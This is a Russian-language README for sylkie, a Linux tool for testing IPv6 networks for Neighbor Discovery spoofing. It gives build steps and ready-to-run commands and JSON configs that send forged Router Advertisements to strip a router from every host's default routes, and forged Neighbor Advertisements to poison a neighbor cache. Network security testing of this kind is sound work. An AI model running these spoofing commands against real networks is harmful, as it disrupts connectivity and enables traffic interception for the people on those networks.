
IPv6 address spoofing с использованием протокола Neighbor Discovery
sylkieИнструмент командной строки и библиотека для тестирования сетей на наличие распространенных уязвимостей спуфинга адресов в сетях IPv6 с использованием протокола Neighbor Discovery.
Примечание: Этот проект всё ещё находится на ранних стадиях разработки. Если вы столкнетесь с какими-либо проблемами, пожалуйста, сообщите о них в issue. В настоящее время работает только на Linux.
Более подробную информацию см. в The Wiki.
Получите код и скомпилируйте его!
# Получить код
git clone https://github.com/dlrobertson/sylkie
cd ./sylkie
# Скомпилировать код
mkdir -p ./build
cd ./build
cmake -DCMAKE_BUILD_TYPE=Release ..
make
make install
Ниже описано базовое использование sylkie. Запустите sylkie -h или
sylkie <subcommand> -h для получения дополнительных сведений или ознакомьтесь с
Advanced Usage
для получения дополнительных примеров.
Примечание: sylkie использует raw sockets
для отправки поддельных объявлений. В результате исполняемый файл должен
либо иметь установленный бит setuid, либо запускаться от root.
Базовое использование команды router-advert приведено ниже. Эта
команда отправляет сообщение Router Advertisement на указанный ip или
широковещательный адрес всех узлов, заставляя целевые узлы удалить
<router-ip>/<prefix> из своего списка маршрутов по умолчанию.
sylkie ra -i <interface> \
--target-mac <mac of router> \
--router-ip <ip of router> \
--prefix <router prefix> \
--timeout <time between adverts> \
--repeat <number of times to send the request>
Простой пример.
sylkie ra -i ens3 \
--target-mac 52:54:00:e3:f4:06 \
--router-ip fe80::b95b:ee1:cafe:9720 \
--prefix 64 \
--repeat -1 \
--timeout 10
Это отправит «поддельное» Router Advertisement на link-local адрес
всех узлов ff02::1, в результате чего все узлы удалят
fe80::b95b:ee1:cafe:9720/64 (link-layer адрес 52:54:00:e3:f4:06)
из своего списка маршрутов по умолчанию.
Базовое использование команды sylkie neighbor advert приведено ниже. Эта команда отправляет поддельное сообщение Neighbor Advertisement на заданный ip.
sylkie na -i <interface> \
--dst-mac <dest hw addr> \
--src-ip <source ip> \
--dst-ip <dest ip address> \
--target-ip <target ip address> \
--target-mac <target mac address> \
--timeout <time betweeen adverts> \
--repeat <number of times to send the request>
Простой пример
sylkie na -i ens3 \
--dst-mac 52:54:00:e3:f4:06 \
--src-ip fe80::61ad:fda3:3032:f6f4 \
--dst-ip fe80::b95b:ee1:cafe:9720 \
--target-ip fe80::61ad:fda3:3032:f6f4 \
--target-mac 52:54:00:c2:a7:7c \
--repeat -1 \
--timeout 3
Это отправит «поддельное» сообщение Neighbor Advertisement на dst-ip
(fe80::b95b:ee1:cafe:9720), в результате чего аппаратный адрес в кэше
соседей для target-ip (fe80::61ad:fda3:3032:f6f4) будет обновлен на
target-mac (52:54:00:c2:a7:7c).
Приведенные выше команды требуют довольно много информации. Чтобы упростить жизнь, sylkie
также принимает json и текстовые файлы, содержащие необходимую информацию для начала
отправки поддельных объявлений.
Подкоманда (router-advert, neighbor-advert) является ключом, чьё
значение — массив объектов с ключами и значениями, соответствующими
опциям и их значениям. Для запуска команды передайте путь к
json-файлу в качестве аргумента опции -j.
Для запуска примера router-advert, приведенного выше, из json сначала создайте
файл со следующим содержимым.
{
"router-advert": [
{
"interface": "ens3",
"target-mac": "52:54:00:e3:f4:06",
"router-ip": "fe80::b95b:ee1:cafe:9720",
"prefix": 64,
"repeat": -1,
"timeout": 10
}
]
}
После создания файла начните отправку объявлений с помощью следующей команды.
sylkie -j /path/to/json
Каждая строка файла должна быть в точности тем, что вы бы указали в
командной строке, за исключением команды sylkie.
Для запуска примера neighbor-advert, приведенного выше, из plaintext сначала создайте
файл со следующим содержимым.
na -i ens3 --dst-mac 52:54:00:e3:f4:06 --src-ip fe80::61ad:fda3:3032:f6f4 --dst-ip fe80::b95b:ee1:cafe:9720 --target-ip fe80::61ad:fda3:3032:f6f4 --target-mac 52:54:00:c2:a7:7c --repeat -1 --timeout 3
После создания файла начните отправку объявлений с помощью
sylkie -x /path/to/file